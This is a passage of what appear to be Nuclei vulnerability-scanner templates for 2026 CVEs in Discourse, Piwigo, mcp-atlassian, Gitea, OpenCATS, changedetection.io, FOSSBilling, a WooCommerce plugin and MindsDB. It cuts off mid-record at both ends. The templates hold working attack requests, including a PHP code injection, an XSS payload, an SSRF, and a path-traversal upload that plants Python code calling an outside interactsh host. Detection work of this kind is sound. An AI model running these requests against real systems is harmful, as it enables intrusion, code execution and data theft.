cve,cve2026,nginx-ui,unauth,exposure,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/backup\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"X-Backup-Security\"\n          - \"application/zip\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"attachment; filename=\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: header\n        group: 1\n        name: backup_security_header\n        regex:\n          - \"X-Backup-Security: (.+)\"\n# digest: 4a0a00473045022100eac88c35b36fff77c0696eedb8cac4edebb24618b10df3e801613995bb8b6cf5022005e415366b664a5b070c8644502732f3e766278c2993c8953bd2579da5655d02:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-27944.yaml","vuln_id":"cve-2026-27944"},{"raw":"id: CVE-2026-27934\n\ninfo:\n  name: Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 - Unauthenticated Private User Action Disclosure\n  author: str4k3r\n  severity: high\n  description: |\n    Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 contains an information disclosure vulnerability caused by lack of visibility checks in a user action API endpoint, letting unauthorized users access post titles and excerpts, exploit requires no special privileges.\n  impact: |\n    Unauthorized users can access post titles and excerpts, leading to information disclosure.\n  remediation: |\n    Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.\n  reference:\n    - https://github.com/discourse/discourse/security/advisories/GHSA-824f-66wh-xx3g\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27934\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N\n    cvss-score: 8.7\n    cve-id: CVE-2026-27934\n    epss-score: 0.01191\n    epss-percentile: 0.6807\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 20\n    vendor: discourse\n    product: discourse\n    shodan-query: http.html:\"Discourse\"\n    fofa-query: body=\"/assets/discourse\"\n  tags: cve,cve2026,discourse,idor,exposure,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /user_actions/{{id}}.json HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      id:\n        - 1\n        - 2\n        - 3\n        - 4\n        - 5\n        - 6\n        - 7\n        - 8\n        - 9\n        - 10\n        - 11\n        - 12\n        - 13\n        - 14\n        - 15\n        - 16\n        - 17\n        - 18\n        - 19\n        - 20\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'regex(\"\\\"action_type\\\":(2|6|7|9|11)([,}])\", body)'\n          - 'contains(body, \"\\\"excerpt\\\":\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: action_type\n        group: 1\n        regex:\n          - '\"action_type\":([0-9]+)'\n# digest: 4a0a00473045022100dbf015912c96161dd30eeedd9d274817130d35a3142babf680f819d8f7d8b49e022023883850438bc5502db35071cd9f43752fce644f086ac703904825f58417926f:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-27934.yaml","vuln_id":"cve-2026-27934"},{"raw":"id: CVE-2026-27833\n\ninfo:\n  name: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication\n  impact: |\n   Unauthenticated attackers can access full browsing history of all gallery visitors, exposing sensitive user activity data.\n  remediation: |\n    Update to version 16.3.0 or later.\n  reference:\n    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27833\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-27833\n    epss-score: 0.01641\n    epss-percentile: 0.76465\n    cwe-id: CWE-862\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: piwigo\n    product: piwigo\n    fofa-query: icon_hash==\"540706145\"\n  tags: cve,cve2026,piwigo,exposure,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /ws.php?method=pwg.history.search&format=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"stat\\\":\\\"ok\\\"\", \"\\\"result\\\"\", \"\\\"lines\\\"\")'\n          - 'contains_any(body, \"\\\"USERNAME\\\"\", \"\\\"NB_LINES\\\"\", \"\\\"GUESTS\\\"\")'\n        condition: and\n# digest: 490a004630440220350338349204142747cc9565dee7bcc497cf64455d1792fe56f21e06ac25d70a0220773d80954a0ffa08bc66747d1087a66fabb9ba5f52399b49822d8119e3b02511:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-27833.yaml","vuln_id":"cve-2026-27833"},{"raw":"id: CVE-2026-27826\n\ninfo:\n  name: mcp-atlassian < 0.17.0 - Server-Side Request Forgery\n  author: eyangfeng88-arch\n  severity: high\n  description: |\n   MCP Atlassian < 0.17.0 contains a server-side request forgery caused by improper validation of custom HTTP headers in the HTTP middleware, letting unauthenticated attackers force outbound requests to arbitrary URLs, exploit requires access to the mcp-atlassian HTTP endpoint.\n  impact: |\n   Unauthenticated attackers can make the server send requests to arbitrary URLs, enabling internal network reconnaissance and potential credential theft.\n  remediation: |\n   Upgrade to version 0.17.0 or later.\n  reference:\n    - https://pluto.security/blog/mcpwnfluence-cve-2026-27825-critical/\n    - https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9\n    - https://github.com/sooperset/mcp-atlassian/pull/986\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27826\n  classification:\n    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n    cvss-score: 8.2\n    cve-id: CVE-2026-27826\n    epss-score: 0.13\n    epss-percentile: 0.96343\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: sooperset\n    product: mcp-atlassian\n    shodan-query: http.html:\"Atlassian MCP\"\n    fofa-query: body=\"Atlassian MCP\" || header=\"mcp-session-id\"\n  tags: cve,cve2026,mcp,atlassian,ssrf,oast\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /mcp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json, text/event-stream\n\n        {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"nuclei\",\"version\":\"1.0\"}}}\n\n    extractors:\n      - type: regex\n        name: session_id\n        part: header\n        internal: true\n        group: 1\n        regex:\n          - '(?i)Mcp-Session-Id:\\s*([a-f0-9]+)'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'len(session_id) > 0'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json, text/event-stream\n        Mcp-Session-Id: {{session_id}}\n        X-Atlassian-Jira-Url: http://{{interactsh-url}}\n        X-Atlassian-Jira-Personal-Token: nuclei-ssrf-test\n\n        {\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"jira_get_issue\",\"arguments\":{\"issue_key\":\"TEST-1\"}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a004730450220279819c0575b226f6f3f59cf35c53a62966970d66e51b0bcd7f278629d22526f022100b97fa683dae71174ce0a300c36ab9ac3ab269f3336dbdedfef2a5b93c9484cb6:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-27826.yaml","vuln_id":"cve-2026-27826"},{"raw":"id: CVE-2026-27796\n\ninfo:\n  name: Homarr < 1.54.0 - Information Disclosure\n  author: str4k3r\n  severity: medium\n  description: |\n    Homarr < 1.54.0 contains an information disclosure caused by the integration.all tRPC endpoint being exposed as a publicProcedure, letting unauthenticated users retrieve sensitive integration metadata, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can access sensitive integration metadata, potentially exposing internal service details.\n  remediation: |\n    Update to version 1.54.0 or later.\n  reference:\n    - https://github.com/homarr-labs/homarr/security/advisories/GHSA-m4vc-4prp-cvp7\n    - https://github.com/homarr-labs/homarr/commit/91fc5a5c747121475a50f2713d571ceb89e95257\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27796\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-27796\n    epss-score: 0.01261\n    epss-percentile: 0.69703\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: homarr-labs\n    product: homarr\n    fofa-query: title=\"Homarr\"\n    shodan-query: http.title:\"Homarr\"\n  tags: cve,cve2026,homarr,exposure,unauth\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/trpc/integration.all\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - '\"result\":{\"data\":{\"json\":'\n          - '\"kind\":\"'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"UNAUTHORIZED\"\n        negative: true\n# digest: 4a0a00473045022100b9b89400debd01ac8f40e28f5b5c38caf8421e4ca07d6f4b416e5523a868e8b2022067b9a2e45fdf2a0f528840a1de4482609c2c0674d09fb5bdf1a3c9af5314d030:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-27796.yaml","vuln_id":"cve-2026-27796"},{"raw":"id: CVE-2026-27771\n\ninfo:\n  name: Gitea Container Registry - Unauthorized Private Image Access\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Gitea < 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer.\n  impact: |\n    Unauthenticated attackers can exfiltrate proprietary application source code, embedded secrets (API keys, database credentials, cloud provider keys), and internal infrastructure configuration from private container images.\n  remediation: |\n    Upgrade to Gitea >= 1.26.2. As a temporary workaround, set REQUIRE_SIGNIN_VIEW=true in gitea app.ini, though this blocks all anonymous access including public repos.\n  reference:\n    - https://blog.gitea.com/release-of-1.26.2/\n    - https://github.com/go-gitea/gitea/pull/37290\n    - https://github.com/go-gitea/gitea/pull/37610\n    - https://orca.security/resources/blog/gitea-container-registry-vulnerability/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-27771\n    epss-score: 0.01393\n    epss-percentile: 0.72446\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: gitea\n    product: gitea\n    shodan-query: http.html:\"Gitea\"\n    fofa-query: app=\"Gitea\"\n  tags: cve,cve2026,gitea,container,registry,auth-bypass,unauth\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /v2/ HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n        internal: true\n\n  - raw:\n      - |\n        GET /v2/token?service=container_registry&scope=* HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        group: 1\n        regex:\n          - '\"token\":\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /v2/_catalog HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Accept: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"repositories\"'\n\n      - type: regex\n        part: body\n        regex:\n          - '\"repositories\":\\s*\\[\".+'\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        regex:\n          - '\"repositories\":\\s*(\\[.*\\])'\n# digest: 490a004630440220590a87cc5c2ea138aeeaca6cf0904c48f90c4a287ef824287451e813070ef5340220450cf648e9291f2da0118736eeed303aaff2958e94ba711c01fd6c0143e1d841:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-27771.yaml","vuln_id":"cve-2026-27771"},{"raw":"id: CVE-2026-27760\n\ninfo:\n  name: OpenCATS - Command Injection\n  author: theamanrawat\n  severity: high\n  description: |\n    OpenCATS prior to commit 3002a29 contains a command injection caused by injection of PHP statements into the installer AJAX endpoint's databaseConnectivity action parameter, letting unauthenticated attackers execute arbitrary code, exploit requires incomplete installation wizard.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code remotely, leading to full system compromise.\n  remediation: |\n    Update to the version after commit 3002a29 or latest available version.\n  reference:\n    - https://chocapikk.com/posts/2026/opencats-installer-rce/\n    - https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6\n    - https://github.com/opencats/OpenCATS\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27760\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2026-27760\n    epss-score: 0.32975\n    epss-percentile: 0.98364\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: opencats\n    product: opencats\n    shodan-query:\n      - title:\"opencats\"\n      - http.title:\"opencats\"\n    fofa-query: title=\"opencats\"\n    google-query: intitle:\"opencats\"\n  tags: cve,cve2026,opencats,rce,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"!contains(body, 'installLocked')\"\n          - \"contains(body, 'setActiveStep')\"\n          - \"status_code == 200\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user=cats');echo+'{{randstr}}'.md5('{{randstr}}');//\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n        internal: true\n\n  - raw:\n      - |\n        GET /index.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body, '{{randstr}}' + md5('{{randstr}}'))\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4a0a00473045022100f4ff8eb689edd039bb8f6cc97e11c50cefb364873a7e9af2d9ece990d295bb17022023d9cb6e8e4b42eb693dce76896b20409be7e4712f8562ecfcf84b8ec0495e89:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-27760.yaml","vuln_id":"cve-2026-27760"},{"raw":"id: CVE-2026-27645\n\ninfo:\n  name: Changedetection.io RSS Single Watch - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    changedetection.io < 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.\n  impact: |\n    Attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks\n  remediation: |\n    Update to version 0.54.1 or later.\n  reference:\n    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w\n    - https://github.com/dgtlmoon/changedetection.io/commit/a385c89abf44b52fcfa20c7c6a6dd3047c4c1eb5\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27645\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-27645\n    cwe-id: CWE-79\n    epss-score: 0.00495\n    epss-percentile: 0.42636\n  metadata:\n    max-request: 2\n    verified: true\n    fofa-query: title=\"Change Detection\"\n    shodan-query: http.title:\"Change Detection\"\n  tags: cve,cve2026,xss,changedetection,rss\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"rss?token=\", \"Change Detection\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: rss_token\n        part: body\n        group: 1\n        regex:\n          - 'rss\\?token=([a-f0-9]{16,64})'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token={{rss_token}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 404'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains_all(body, \"<img src=x onerror=alert(document.domain)>\", \"Watch with UUID\")'\n        condition: and\n# digest: 4b0a004830460221008468b22b330c2d55542b7c91f99af05463337cc44f27c61e26044c81e819c4c9022100c624a6a474a95b81317ffc6d54736980f9470ec7148ba65b80c965bb44bf4942:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-27645.yaml","vuln_id":"cve-2026-27645"},{"raw":"id: CVE-2026-27604\n\ninfo:\n  name: FOSSBilling 0.5.4-0.7.x - Unauthenticated System API Role Authorization Bypass\n  author: str4k3r\n  severity: critical\n  description: |\n    FOSSBilling versions 0.5.4 through 0.7.x contain an authorization bypass in API role handling. The internal system role is accepted from the URL, resolves to the cron-admin identity, and reaches privileged system API methods without authentication, a session, or a CSRF token. Version 0.8.0 rejects the system route role.\n  impact: |\n    An unauthenticated remote attacker can invoke privileged FOSSBilling system API methods and may access or modify administrator-managed data.\n  remediation: |\n    Upgrade FOSSBilling to 0.8.0 or later, or block external access to /api/system/*.\n  reference:\n    - https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279\n    - https://github.com/FOSSBilling/FOSSBilling/releases/tag/0.8.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27604\n  classification:\n    cve-id: CVE-2026-27604\n    epss-score: 0.01264\n    epss-percentile: 0.69784\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: fossbilling\n    product: fossbilling\n    shodan-query: http.html:\"FOSSBilling\"\n    fofa-query: body=\"FOSSBilling\"\n  tags: cve,cve2026,fossbilling,api,auth-bypass,authorization,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /api/system/system/error_reporting_enabled HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"\\\"result\\\":false\", \"\\\"result\\\":true\")'\n          - 'contains(body, \"\\\"error\\\":null\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a004630440220482fead1a5f677d1c480a0c4104dfbfb7c9ac945a317afa3b4690af5c36a0c31022051129cf258c2c22c3c47ca59b93eace52cf4cbe187b146cab43e2eea32c22b0f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-27604.yaml","vuln_id":"cve-2026-27604"},{"raw":"id: CVE-2026-27542\n\ninfo:\n  name: WooCommerce Wholesale Lead Capture <= 2.0.3.1 - Unauthenticated Privilege Escalation\n  author: theamanrawat,pdresearch\n  severity: critical\n  description: |\n    Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture <= 2.0.3.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.\n  impact: |\n    Attackers can escalate their privileges, potentially gaining unauthorized access to restricted functions or data.\n  remediation: |\n    Update to the latest version beyond 2.0.3.1.\n  reference:\n    - https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540-\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-wholesale-lead-capture\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27542\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-27542\n    epss-score: 0.01737\n    epss-percentile: 0.7777\n    cwe-id: CWE-266\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: rymera-web-co\n    product: woocommerce-wholesale-lead-capture\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/woocommerce-wholesale-lead-capture/\"\n    shodan-query: http.html:\"/wp-content/plugins/woocommerce-wholesale-lead-capture/\"\n    publicwww-query: \"/wp-content/plugins/woocommerce-wholesale-lead-capture/\"\n  tags: cve,cve2026,wp,wordpress,woocommerce,wholesale,privesc,unauth,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/woocommerce-wholesale-lead-capture/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WooCommerce Wholesale Lead Capture\")'\n          - 'compare_versions(version, \"<= 2.0.3.1\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - '(?m)Stable tag:\\s+([0-9]+\\.[0-9]+(?:\\.[0-9]+(?:\\.[0-9]+)*)?)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wwlc_create_user\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - '!regex(\"^(-1|0)\\\\s*$\", body) && len(body) > 2'\n          - 'contains_all(body, \"wwlc_firstname\", \"wwlc_email\")'\n        condition: and\n# digest: 4b0a00483046022100c39c869ebb8de5066b323e792e3655b43e071cd4abd573a4cb46a68a38843920022100be509adccb943e272583e97c57d5ee1bfd414f7ed970c9c5339f44791688815c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-27542.yaml","vuln_id":"cve-2026-27542"},{"raw":"id: CVE-2026-27483\n\ninfo:\n  name: MindsDB - Remote Code Execution\n  author: thewhiteh4t\n  severity: high\n  description: |\n    MindsDB < 25.9.1.1 contains a remote code execution caused by path traversal in the /api/files upload file module, letting authenticated attackers write arbitrary files and execute commands, exploit requires authentication.\n  impact: |\n    Authenticated attackers can execute arbitrary commands remotely by writing files to arbitrary paths on the server.\n  remediation: |\n    Upgrade to version 25.9.1.1 or later.\n  reference:\n    - https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq\n    - https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef\n    - https://github.com/mindsdb/mindsdb/releases/tag/v25.9.1.1\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27483\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-27483\n    epss-score: 0.10988\n    epss-percentile: 0.95912\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: MindsDB\n    product: MindsDB\n    shodan-query: http.title:\"MindsDB\"\n  tags: cve,cve2026,mindsdb,path-traversal,rce,oast,intrusive,unauth\n\nvariables:\n  token: \"\"\n  username: \"\"\n  password: \"\"\n  filename: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/status\"\n\n    extractors:\n      - type: regex\n        name: mindsdb_version\n        part: body\n        group: 1\n        regex:\n          - '\"mindsdb_version\":\\s*\"([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)'\n        internal: true\n\n      - type: regex\n        name: http_auth_enabled\n        part: body\n        group: 1\n        regex:\n          - '\"http_auth_enabled\":\\s*(true|false)'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"mindsdb_version\")'\n          - 'compare_versions(mindsdb_version, \">= 25.4.1.0\", \"< 25.9.1.1\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"username\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"token\")'\n          - 'status_code == 400 && contains(body, \"Error in username or password\")'\n        condition: or\n        internal: true\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        group: 1\n        regex:\n          - '{\"token\":\\s*\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        PUT /api/files/{{filename}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9\n        Authorization: Bearer {{token}}\n        Connection: close\n\n        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9\n        Content-Disposition: form-data; name=\"name\"\n\n        {{filename}}\n        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9\n        Content-Disposition: form-data; name=\"source\"\n\n        {{filename}}\n        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9\n        Content-Disposition: form-data; name=\"source_type\"\n\n        file\n        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9\n        Content-Disposition: form-data; name=\"file\"; filename=\"../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py\"\n        Content-Type: text/plain\n\n        import urllib.request\n        urllib.request.urlopen('http://{{interactsh-url}}')\n        ------WebKitFormBoundaryv9dZC0cAHLlHSHD9--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains(body, \"Not supported format\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/handlers/anomaly_detection/install HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n          - 'contains(body, \"Failed to install dependencies\")'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/api/status\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"mindsdb_version\"\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n# digest: 4a0a00473045022100fac88b84bab7e93d4b924e6cf1728190ff3f71cd30a37f6006241007042936fb02206a89af00cf5de0f72a9dfa1399481198e3f5ad24008c951853e78c33a5817048:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-27483.yaml","vuln_id":"cve-2026-27483"},{"raw":"id: CVE-2026-27454\n\ninfo:\n  name: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass\n  author: str4k3r\n  severity: medium\n  description: |\n    Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.\n  impact: |\n    An unauthenticated visitor can retrieve the contents of a hidden post revision that moderators intended to conceal from public viewers.\n  remediation: |\n    Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.\n  reference:\n    - https://github.com/discourse/discourse/security/advisories/GHSA-fq69-f929-wp96\n    - https://github.com/discourse/discourse/commit/8510fde30eb0d7f2dee822a95f6cf43b9ac943d0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-27454\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-27454\n    epss-score: 0.00956\n    epss-percentile: 0.61519\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: discourse\n    product: discourse\n  tags: cve,cve2026,discourse,idor,exposure,unauth\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /posts.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"latest_posts\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: post_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"latest_posts\":\\[\\{\"id\":(\\d+)'\n\n  - raw:\n      - |\n        GET /posts/{{post_id}}.json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"version\\\"\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: pub_version\n        part: body\n        internal: true\n        group: 1\n        regex:\n     